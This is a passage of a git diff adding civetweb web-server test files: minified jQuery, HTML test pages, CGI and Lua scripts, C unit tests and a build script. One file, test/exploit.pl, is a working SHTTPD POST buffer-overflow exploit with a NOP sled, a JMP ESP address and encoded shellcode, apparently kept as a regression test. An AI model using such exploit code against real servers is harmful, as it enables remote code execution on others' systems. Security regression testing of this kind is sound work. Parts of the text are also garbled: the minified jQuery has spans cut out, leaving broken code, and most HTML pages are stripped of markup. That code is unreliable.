cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file diff --git a/src/civetweb/test/ajax/test.html b/src/civetweb/test/ajax/test.html new file mode 100644 index 000000000..40fa07997 --- /dev/null +++ b/src/civetweb/test/ajax/test.html @@ -0,0 +1,168 @@ + + + + Test + + + + + +

+

Test not started.
+

+

+

+ + + + + + + + + + + + + + + + + + + + + +
+ + + +
+ + + +
+ + + +
+ + + +
+ + +
+

+

+ + + + + + + + + + + + +
TestResult
1
not started
2
not started
3
not started
4
not started
5
not started
6
not started
7
not started
8
not started
9
not started
10
not started
+

Push [Test] to start.
+
+

+ + diff --git a/src/civetweb/test/all_build_flags.pl b/src/civetweb/test/all_build_flags.pl new file mode 100755 index 000000000..ee225f9a2 --- /dev/null +++ b/src/civetweb/test/all_build_flags.pl @@ -0,0 +1,28 @@ +#!/usr/bin/env perl + +@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI"); +my $num_flags = @flags; + +sub fail { + print "FAILED: @_\n"; + exit 1; +} + +my $platform = $ARGV[0] || "linux"; + +for (my $i = 0; $i < 2 ** $num_flags; $i++) { + my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i); + my @combination = (); + for (my $j = 0; $j < $num_flags; $j++) { + push @combination, $flags[$j] if substr($bitmask, $j, 1); + } + my $defines = join(" ", map { "-D$_" } @combination); + my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null"; + system($cmd) == 0 or fail "build failed: $_"; + print "Build succeeded, flags: [$defines]\n"; + system("perl test/test.pl basic_tests >/dev/null") == 0 + or fail "basic tests"; + print "Basic tests: OK\n"; +} + +print "PASS: All builds passed!\n"; diff --git a/src/civetweb/test/bad.cgi b/src/civetweb/test/bad.cgi new file mode 100755 index 000000000..1560f82d3 --- /dev/null +++ b/src/civetweb/test/bad.cgi @@ -0,0 +1,6 @@ +#!/bin/sh + +echo "echoing bad headers: server must report status 500" +exec 1>&2 +echo "Bad CGI script (for test)" + diff --git a/src/civetweb/test/bad2.cgi b/src/civetweb/test/bad2.cgi new file mode 100755 index 000000000..efa4b548b --- /dev/null +++ b/src/civetweb/test/bad2.cgi @@ -0,0 +1,3 @@ +#!/usr/bin/env perl + +print "Status: 123 Please pass me to the client\r\n\r\n"; diff --git a/src/civetweb/test/bad_page.lp b/src/civetweb/test/bad_page.lp new file mode 100644 index 000000000..84caacca7 --- /dev/null +++ b/src/civetweb/test/bad_page.lp @@ -0,0 +1 @@ +test test diff --git a/src/civetweb/test/bad_script.lua b/src/civetweb/test/bad_script.lua new file mode 100644 index 000000000..6140617f4 --- /dev/null +++ b/src/civetweb/test/bad_script.lua @@ -0,0 +1 @@ +bad_script diff --git a/src/civetweb/test/cgi_test.c b/src/civetweb/test/cgi_test.c new file mode 100644 index 000000000..bd446c0a9 --- /dev/null +++ b/src/civetweb/test/cgi_test.c @@ -0,0 +1,40 @@ +#include +#include +#include + +#if defined(_WIN32) || defined(WIN32) || defined(WINDOWS) +#include +#include +#endif + +int +main(int argc, char *argv[]) +{ + char buf[1024]; + size_t rec_len = 0; + const char *response_header = "Content-Type: text/plain\r\n" + "Connection: close\r\n" + "\r\n"; + const char *req_method = getenv("REQUEST_METHOD"); + const char *con_length = getenv("CONTENT_LENGTH"); + +#if defined(_WIN32) || defined(WIN32) || defined(WINDOWS) + _setmode(_fileno(stdin), _O_BINARY); + _setmode(_fileno(stdout), _O_BINARY); +#endif + + /* Write the response header with \r\n */ + fwrite(response_header, 1, strlen(response_header), stdout); + + /* Headline for generated reply: */ + printf("Got message:\n Method: %s\n Content-Length: %s\n Content: ", + req_method, + con_length ? con_length : "not set"); + + /* Read all data from stdin and send it to stdout */ + while ((rec_len = fread(buf, 1, sizeof(buf) - 1, stdin)) > 0) { + fwrite(buf, 1, rec_len, stdout); + } + + return 0; +} diff --git a/src/civetweb/test/cgi_test.html b/src/civetweb/test/cgi_test.html new file mode 100644 index 000000000..28ad72b0f --- /dev/null +++ b/src/civetweb/test/cgi_test.html @@ -0,0 +1,12 @@ + + + CGI POST Test + + +

CGI POST Test

+
+ + +
+ + diff --git a/src/civetweb/test/civetweb_check.h b/src/civetweb/test/civetweb_check.h new file mode 100644 index 000000000..4701f2252 --- /dev/null +++ b/src/civetweb/test/civetweb_check.h @@ -0,0 +1,96 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_CIVETWEB_CHECK_H_ +#define TEST_CIVETWEB_CHECK_H_ + +#ifdef __clang__ +#pragma clang diagnostic push +// FIXME: check uses GCC specific variadic macros that are non-standard +#pragma clang diagnostic ignored "-Wgnu-zero-variadic-macro-arguments" +#endif + +#if defined(__MINGW__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wall" +/* Disable warnings for defining _CRT_SECURE_NO_* (here) and + * _CHECK_CHECK_STDINT_H (in check.h) + */ +/* Disable until Warning returns to Travis CI or AppVeyor +#pragma GCC diagnostic ignored "-Wunknown-pragmas" +#pragma GCC diagnostic ignored "-Wno-variadic-macros" +#pragma GCC diagnostic ignored "-Wreserved-id-macro" +*/ +#endif + +#ifdef _MSC_VER +#undef pid_t +#define pid_t int +/* Unreferenced formal parameter. START_TEST has _i */ +#pragma warning(disable : 4100) +/* conditional expression is constant . asserts use while(0) */ +#pragma warning(disable : 4127) +#endif +#include + +/* All unit tests use the "check" framework. + * Download from https://libcheck.github.io/check/ + */ +#include "check.h" + +#if (CHECK_MINOR_VERSION < 11) +#ifndef LOCAL_TEST +#error "CivetWeb unit tests require at least check 0.11.0" +#endif +#endif + +#ifdef __clang__ +#pragma clang diagnostic pop +#endif + +#if !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif +#if !defined(_CRT_SECURE_NO_DEPRECATE) +#define _CRT_SECURE_NO_DEPRECATE +#endif + +#if defined(__MINGW__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + +#ifdef __clang__ +/* When using -Weverything, clang does not accept it's own headers + * in a release build configuration. Disable what is too much in + * -Weverything. */ +#pragma clang diagnostic ignored "-Wdisabled-macro-expansion" +#endif + +/* A minimal timeout used for all tests with the "check" framework. */ +#define civetweb_min_test_timeout (30) + +/* A minimal timeout for all tests starting a server. */ +#define civetweb_min_server_test_timeout (civetweb_min_test_timeout + 30) + +/* A default timeout for all tests running multiple requests to a server. */ +#define civetweb_mid_server_test_timeout \ + (civetweb_min_server_test_timeout + 180) + +#endif /* TEST_CIVETWEB_CHECK_H_ */ diff --git a/src/civetweb/test/cors.html b/src/civetweb/test/cors.html new file mode 100644 index 000000000..10fb99ac9 --- /dev/null +++ b/src/civetweb/test/cors.html @@ -0,0 +1,75 @@ + + + +CORS test + + + + + + +

Cross-origin resource sharing test

+

*** Error: Javascript is not activated. This test will not work. ***

+ + + + +

More information on CORS: See enable-cors.org and html5rocks.com.

+ + diff --git a/src/civetweb/test/cors.reply.html b/src/civetweb/test/cors.reply.html new file mode 100644 index 000000000..26d88dfc5 --- /dev/null +++ b/src/civetweb/test/cors.reply.html @@ -0,0 +1,7 @@ + + +CORS test reply - test OK + +Do not load this page directly - use cors.html instead! + + diff --git a/src/civetweb/test/cors.reply.lua b/src/civetweb/test/cors.reply.lua new file mode 100644 index 000000000..57b972764 --- /dev/null +++ b/src/civetweb/test/cors.reply.lua @@ -0,0 +1,86 @@ +-- http://www.html5rocks.com/static/images/cors_server_flowchart.png + +if not mg.request_info.http_headers.Origin and not mg.request_info.http_headers.origin then + + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write("This test page should not be used directly. Open cors.html instead.") + return +end + +if mg.request_info.request_method == "OPTIONS" then + + -- Note: This is a test example showing how a script could handle + -- a preflight request directly. However, now the server is able + -- to handle preflight requests, so scripts do no longer need to + -- do this - except it has been disabled in the server by setting + -- the access_control_allow_methods configuration parameter to + -- an empty string. + + local acrm = mg.request_info.http_headers['Access-Control-Request-Method']; + if (acrm) then + local acrh = nil -- mg.request_info.http_headers['Access-Control-Request-Header']; + if (acrm~='PUT') then + -- invalid request + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + return + else + -- preflight request + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Access-Control-Allow-Methods: PUT\r\n") + if (acrh) then + mg.write("Access-Control-Allow-Headers: " .. acrh .. "\r\n") + end + mg.write("Access-Control-Allow-Origin: *\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + return + end + end +end + + +-- actual request +if mg.request_info.request_method == "GET" then + + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Access-Control-Allow-Origin: *\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write([[ + + CORS dynamic GET test reply - test OK + This should never be shown + + ]]) + return +end + + +if mg.request_info.request_method == "PUT" then + + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Access-Control-Allow-Origin: *\r\n") + mg.write("Connection: close\r\n") + mg.write("Content-Type: text/html; charset=utf-8\r\n") + mg.write("\r\n") + mg.write([[ + + CORS dynamic PUT test reply - test OK + This should never be shown + + ]]) + return +end + +-- other HTTP method +mg.write("HTTP/1.0 403 Forbidden\r\n") +mg.write("Connection: close\r\n") +mg.write("\r\n") + diff --git a/src/civetweb/test/cors.reply.shtml b/src/civetweb/test/cors.reply.shtml new file mode 100644 index 000000000..26d88dfc5 --- /dev/null +++ b/src/civetweb/test/cors.reply.shtml @@ -0,0 +1,7 @@ + + +CORS test reply - test OK + +Do not load this page directly - use cors.html instead! + + diff --git a/src/civetweb/test/delayed.cgi b/src/civetweb/test/delayed.cgi new file mode 100644 index 000000000..ccf7768c4 --- /dev/null +++ b/src/civetweb/test/delayed.cgi @@ -0,0 +1,20 @@ +#!/bin/sh + +sleep 2 + +echo "Content-Type: text/plain" + +sleep 2 + +echo + +sleep 2 + +echo "Query string:" + +sleep 2 + +echo $QUERY_STRING + +sleep 2 + diff --git a/src/civetweb/test/dir with spaces/hello.cgi b/src/civetweb/test/dir with spaces/hello.cgi new file mode 100755 index 000000000..39decbeb1 --- /dev/null +++ b/src/civetweb/test/dir with spaces/hello.cgi @@ -0,0 +1,3 @@ +#!/usr/bin/env perl + +print "Content-Type: text/plain\n\nhello\n"; diff --git a/src/civetweb/test/echo.lua b/src/civetweb/test/echo.lua new file mode 100644 index 000000000..bc715530f --- /dev/null +++ b/src/civetweb/test/echo.lua @@ -0,0 +1,41 @@ + +if mg.lua_type ~= "websocket" then + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("forbidden") + return +end + + +-- table of all active connection +allConnections = {} + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + mg.write(1, tab.data); + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + allConnections[tab.client] = nil +end + diff --git a/src/civetweb/test/embed.c b/src/civetweb/test/embed.c new file mode 100644 index 000000000..174e17cfa --- /dev/null +++ b/src/civetweb/test/embed.c @@ -0,0 +1,182 @@ +// Copyright (c) 2004-2009 Sergey Lyubka +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. +// +// Unit test for the civetweb web server. Tests embedded API. + + +#include +#include +#include +#ifndef _WIN32 +#include +#endif + +#include "civetweb.h" + +#if !defined(LISTENING_PORT) +#define LISTENING_PORT "23456" +#endif + +static const char *standard_reply = "HTTP/1.1 200 OK\r\n" + "Content-Type: text/plain\r\n" + "Connection: close\r\n\r\n"; + +static void test_get_var(struct mg_connection *conn, + const struct mg_request_info *ri) { + char *var, *buf; + size_t buf_len; + const char *cl; + int var_len; + + mg_printf(conn, "%s", standard_reply); + + buf_len = 0; + var = buf = NULL; + cl = mg_get_header(conn, "Content-Length"); + mg_printf(conn, "cl: %p\n", cl); + if ((!strcmp(ri->request_method, "POST") || + !strcmp(ri->request_method, "PUT")) + && cl != NULL) { + buf_len = atoi(cl); + buf = malloc(buf_len); + /* Read in two pieces, to test continuation */ + if (buf_len > 2) { + mg_read(conn, buf, 2); + mg_read(conn, buf + 2, buf_len - 2); + } else { + mg_read(conn, buf, buf_len); + } + } else if (ri->query_string != NULL) { + buf_len = strlen(ri->query_string); + buf = malloc(buf_len + 1); + strcpy(buf, ri->query_string); + } + var = malloc(buf_len + 1); + var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1); + mg_printf(conn, "Value: [%s]\n", var); + mg_printf(conn, "Value size: [%d]\n", var_len); + free(buf); + free(var); +} + +static void test_get_header(struct mg_connection *conn, + const struct mg_request_info *ri) { + const char *value; + int i; + + mg_printf(conn, "%s", standard_reply); + printf("HTTP headers: %d\n", ri->num_headers); + for (i = 0; i < ri->num_headers; i++) { + printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value); + } + + value = mg_get_header(conn, "Host"); + if (value != NULL) { + mg_printf(conn, "Value: [%s]", value); + } +} + +static void test_get_request_info(struct mg_connection *conn, + const struct mg_request_info *ri) { + int i; + + mg_printf(conn, "%s", standard_reply); + + mg_printf(conn, "Method: [%s]\n", ri->request_method); + mg_printf(conn, "URI: [%s]\n", ri->uri); + mg_printf(conn, "HTTP version: [%s]\n", ri->http_version); + + for (i = 0; i < ri->num_headers; i++) { + mg_printf(conn, "HTTP header [%s]: [%s]\n", + ri->http_headers[i].name, + ri->http_headers[i].value); + } + + mg_printf(conn, "Query string: [%s]\n", + ri->query_string ? ri->query_string: ""); + mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip); + mg_printf(conn, "Remote port: [%d]\n", ri->remote_port); + mg_printf(conn, "Remote user: [%s]\n", + ri->remote_user ? ri->remote_user : ""); +} + +static void test_error(struct mg_connection *conn, + const struct mg_request_info *ri) { + int status = (int) ri->ev_data; + mg_printf(conn, "HTTP/1.1 %d XX\r\n" + "Conntection: close\r\n\r\n", status); + mg_printf(conn, "Error: [%d]", status); +} + +static void test_post(struct mg_connection *conn, + const struct mg_request_info *ri) { + const char *cl; + char *buf; + int len; + + mg_printf(conn, "%s", standard_reply); + if (strcmp(ri->request_method, "POST") == 0 && + (cl = mg_get_header(conn, "Content-Length")) != NULL) { + len = atoi(cl); + if ((buf = malloc(len)) != NULL) { + mg_write(conn, buf, len); + free(buf); + } + } +} + +static const struct test_config { + enum mg_event event; + const char *uri; + void (*func)(struct mg_connection *, const struct mg_request_info *); +} test_config[] = { + {MG_NEW_REQUEST, "/test_get_header", &test_get_header}, + {MG_NEW_REQUEST, "/test_get_var", &test_get_var}, + {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info}, + {MG_NEW_REQUEST, "/test_post", &test_post}, + {MG_HTTP_ERROR, "", &test_error}, + {0, NULL, NULL} +}; + +static void *callback(enum mg_event event, + struct mg_connection *conn) { + const struct mg_request_info *request_info = mg_get_request_info(conn); + int i; + + for (i = 0; test_config[i].uri != NULL; i++) { + if (event == test_config[i].event && + (event == MG_HTTP_ERROR || + !strcmp(request_info->uri, test_config[i].uri))) { + test_config[i].func(conn, request_info); + return "processed"; + } + } + + return NULL; +} + +int main(void) { + struct mg_context *ctx; + const char *options[] = {"listening_ports", LISTENING_PORT, NULL}; + + ctx = mg_start(callback, NULL, options); + pause(); + return 0; +} diff --git a/src/civetweb/test/env.cgi b/src/civetweb/test/env.cgi new file mode 100755 index 000000000..479e1fd38 --- /dev/null +++ b/src/civetweb/test/env.cgi @@ -0,0 +1,46 @@ +#!/usr/bin/env perl + +use Cwd; +use CGI; + +use vars '%in'; +CGI::ReadParse(); + +print "Content-Type: text/html\r\n\r\n"; + +print "
\n";
+foreach my $key (sort keys %ENV) {
+	print "$key=$ENV{$key}\n";
+}
+
+print "\n";
+
+foreach my $key (sort keys %in) {
+	print "$key=$in{$key}\n";
+}
+
+print "\n";
+
+print 'CURRENT_DIR=' . getcwd() . "\n";
+print "
\n"; + +my $stuff = < + function set_val() { + } + +
+ + + +
+ +
+ + +
+EOP + +#system('some shit'); + +print $stuff; diff --git a/src/civetweb/test/error.lua b/src/civetweb/test/error.lua new file mode 100644 index 000000000..b78d4ac9f --- /dev/null +++ b/src/civetweb/test/error.lua @@ -0,0 +1,12 @@ +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("\r\n") +mg.write([[ +

Lua error handler:

+

Status code: ]]) + +mg.write(tostring(mg.request_info.status)) + +mg.write([[

+ +]]) \ No newline at end of file diff --git a/src/civetweb/test/error404.htm b/src/civetweb/test/error404.htm new file mode 100644 index 000000000..357db2cef --- /dev/null +++ b/src/civetweb/test/error404.htm @@ -0,0 +1,10 @@ + + + +Error + + +Custom error page + + \ No newline at end of file diff --git a/src/civetweb/test/exit.lua b/src/civetweb/test/exit.lua new file mode 100644 index 000000000..40356e317 --- /dev/null +++ b/src/civetweb/test/exit.lua @@ -0,0 +1,15 @@ + +msg=[[ +

Exit CivetWeb

+ +]] + +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Connection: close\r\n") +mg.write("Content-Length: " .. #msg .. "\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("\r\n") +mg.write(msg) + +os.exit(0) + diff --git a/src/civetweb/test/exploit.pl b/src/civetweb/test/exploit.pl new file mode 100755 index 000000000..206708989 --- /dev/null +++ b/src/civetweb/test/exploit.pl @@ -0,0 +1,69 @@ +#!/usr/bin/perl -w + +# SHTTPD Buffer Overflow (POST) +# Tested on SHTTPD 1.34 WinXP SP1 Hebrew +# http://shttpd.sourceforge.net +# Codded By SkOd, 05/10/2006 +# ISRAEL +# +# details: +# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C +# EBX 00000004 , EIP 41414141 , EBP 41414141 +# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST" +# ESP 009EFC08 ASCII 41,"AA...AAA" + + +use IO::Socket; + +sub fail(){ +syswrite STDOUT, "[-]Connect failed.\n"; +exit; +} + +sub header() +{ +print("##################################\n"); +print("SHTTPD (POST) Buffer Overflow.\n"); +print("[http://shttpd.sourceforge.net]\n"); +print("Codded By SkOd, 05/10/2006\n"); +print("##################################\n"); +} + +if (@ARGV < 1) +{ + &header(); + print("Usage: Perl shttpd.pl [host]\n"); + exit; +} + +&header(); +$host=$ARGV[0]; +$port="80"; +$host=~ s/(http:\/\/)//eg; + +#win32_exec- CMD=calc Size=160 (metasploit.com) +$shell = +"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52". +"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5". +"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9". +"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed". +"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86". +"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4". +"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b". +"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88". +"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0"; + + +$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew) +$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245 + +print length($buff) . "\n"; + +$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail(); + syswrite STDOUT,"[+]Connected.\n"; + print $sock "POST /$buff HTTP/1.1\n"; + print $sock "HOST:$host\n\n"; + syswrite STDOUT,"[+]Done.\n"; +close($sock); + +# milw0rm.com [2006-10-05] diff --git a/src/civetweb/test/filehandler.lua b/src/civetweb/test/filehandler.lua new file mode 100644 index 000000000..57bf41128 --- /dev/null +++ b/src/civetweb/test/filehandler.lua @@ -0,0 +1,93 @@ +function send_ok() + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") +end + + +function send_not_found() + mg.write("HTTP/1.0 404 Not Found\r\n") + mg.write("Connection: close\r\n") + mg.write("Date: " .. os.date("%a, %d %b %Y %H:%M:%S GMT") .. "\r\n") +end + + +handler = "filehandler.lua" +sub_uri = mg.request_info.uri:sub(#handler+2) +filename = 